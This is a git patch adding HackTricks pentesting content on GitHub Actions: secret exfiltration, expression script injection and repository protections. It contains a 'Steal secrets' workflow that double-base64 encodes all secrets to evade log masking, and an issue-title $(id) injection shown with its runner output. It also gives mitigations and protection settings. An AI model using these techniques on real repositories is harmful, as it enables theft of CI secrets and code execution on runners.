From b9b20e45671ceda3402ac3fada6d9665cee0a55d Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Tue, 9 Sep 2025 01:35:49 +0000 Subject: [PATCH] Add content from: GitHub Actions: A Cloudy Day for Security - Part 1 - Remove searchindex.js (auto-generated file) --- .../abusing-github-actions/README.md | 31 ++++++ .../gh-actions-context-script-injections.md | 99 +++++++++++++++++++ .../basic-github-information.md | 25 ++++- 3 files changed, 152 insertions(+), 3 deletions(-) diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index dd0f94cc4..c3291afbf 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -173,6 +173,9 @@ In case members of an organization can **create new repos** and you can execute If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called). +> [!WARNING] +> Any restriction implemented only inside workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions. + You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be): ```yaml @@ -567,6 +570,30 @@ jobs: key: ${{ secrets.PUBLISH_KEY }} ``` +- Enumerate all secrets via the secrets context (collaborator level). A contributor with write access can modify a workflow on any branch to dump all repository/org/environment secrets. Use double base64 to evade GitHub’s log masking and decode locally: + + ```yaml + name: Steal secrets + on: + push: + branches: [ attacker-branch ] + jobs: + dump: + runs-on: ubuntu-latest + steps: + - name: Double-base64 the secrets context + run: | + echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0 + ``` + + Decode locally: + + ```bash + echo "ZXdv...Zz09" | base64 -d | base64 -d + ``` + + Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners). + ### Abusing Self-hosted runners The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml. @@ -650,6 +677,10 @@ An organization in GitHub is very proactive in reporting accounts to GitHub. All > [!WARNING] > The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed. +## References + +- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1) + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md index d9d11a81b..07c773cd7 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md @@ -2,4 +2,103 @@ {{#include ../../../banners/hacktricks-training.md}} +## Understanding the risk +GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the step’s program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands. + +Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts + +Key points: +- Rendering happens before execution. The run script is generated with all expressions resolved, then executed by the shell. +- Many contexts contain user-controlled fields depending on the triggering event (issues, PRs, comments, discussions, forks, stars, etc.). See the untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/ +- Shell quoting inside run: is not a reliable defense, because the injection occurs at the template rendering stage. Attackers can break out of quotes or inject operators via crafted input. + +## Vulnerable pattern → RCE on runner + +Vulnerable workflow (triggered when someone opens a new issue): + +```yaml +name: New Issue Created +on: + issues: + types: [opened] +jobs: + deploy: + runs-on: ubuntu-latest + permissions: + issues: write + steps: + - name: New issue + run: | + echo "New issue ${{ github.event.issue.title }} created" + - name: Add "new" label to issue + uses: actions-ecosystem/action-add-labels@v1 + with: + github_token: ${{ secrets.GITHUB_TOKEN }} + labels: new +``` + +If an attacker opens an issue titled $(id), the rendered step becomes: + +```sh +echo "New issue $(id) created" +``` + +The command substitution runs id on the runner. Example output: + +``` +New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created +``` + +Why quoting doesn’t save you: +- Expressions are rendered first, then the resulting script runs. If the untrusted value contains $(...), `;`, `"`/`'`, or newlines, it can alter the program structure despite your quoting. + +## Safe pattern (shell variables via env) + +Correct mitigation: copy untrusted input into an environment variable, then use native shell expansion ($VAR) in the run script. Do not re-embed with ${{ ... }} inside the command. + +```yaml +# safe +jobs: + deploy: + runs-on: ubuntu-latest + steps: + - name: New issue + env: + TITLE: ${{ github.event.issue.title }} + run: | + echo "New issue $TITLE created" +``` + +Notes: +- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk. +- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:. + +## Reader-triggerable surfaces (treat as untrusted) + +Accounts with only read permission on public repositories can still trigger many events. Any field in contexts derived from these events must be considered attacker-controlled unless proven otherwise. Examples: +- issues, issue_comment +- discussion, discussion_comment (orgs can restrict discussions) +- pull_request, pull_request_review, pull_request_review_comment +- pull_request_target (dangerous if misused, runs in base repo context) +- fork (anyone can fork public repos) +- watch (starring a repo) +- Indirectly via workflow_run/workflow_call chains + +Which specific fields are attacker-controlled is event-specific. Consult GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/ + +## Practical tips + +- Minimize use of expressions inside run:. Prefer env: mapping + $VAR. +- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable. +- Be extra careful when interpolating branch names, PR titles, usernames, labels, discussion titles, and PR head refs into scripts, command-line flags, or file paths. +- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR. + +## References + +- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1) +- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions) +- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts) +- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/) + +{{#include ../../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index 94bca00a9..bd4480332 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -190,8 +190,12 @@ jobs: ``` You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\ -It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed. +Additionally, environment protections include: +- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper four‑eyes principle on the approval itself. +- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets. +- **Wait timer**: delay deployments for a configurable period. +It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed. ### Git Action Runner A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user. @@ -231,10 +235,11 @@ Different protections can be applied to a branch (like to master): - You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place: - **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. - **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it. + - **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge. - **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) - **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews. - **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions. -- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret). +- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip"). - **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged. - **Require signed commits**. The commits need to be signed. - **Require linear history.** Prevent merge commits from being pushed to matching branches. @@ -244,6 +249,16 @@ Different protections can be applied to a branch (like to master): > [!NOTE] > As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline. +## Tag Protections + +Tags (like latest, stable) are mutable by default. To enforce a four‑eyes flow on tag updates, protect tags and chain protections through environments and branches: + +1) On the tag protection rule, enable **Require deployments to succeed** and require a successful deployment to a protected environment (e.g., prod). +2) In the target environment, restrict **Deployment branches and tags** to the release branch (e.g., main) and optionally configure **Required reviewers** with **Prevent self-review**. +3) On the release branch, configure branch protections to **Require a pull request**, set approvals ≥ 1, and enable both **Dismiss approvals when new commits are pushed** and **Require approval of the most recent reviewable push**. + +This chain prevents a single collaborator from retagging or force-publishing releases by editing workflow YAML, since deployment gates are enforced outside of workflows. + ## References - [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) @@ -251,8 +266,12 @@ Different protections can be applied to a branch (like to master): - [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github) - [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards) - [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets) +- [https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions) +- [https://securitylab.github.com/resources/github-actions-untrusted-input/](https://securitylab.github.com/resources/github-actions-untrusted-input/) +- [https://docs.github.com/en/rest/checks/runs](https://docs.github.com/en/rest/checks/runs) +- [https://docs.github.com/en/apps](https://docs.github.com/en/apps) +- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1) {{#include ../../banners/hacktricks-training.md}} -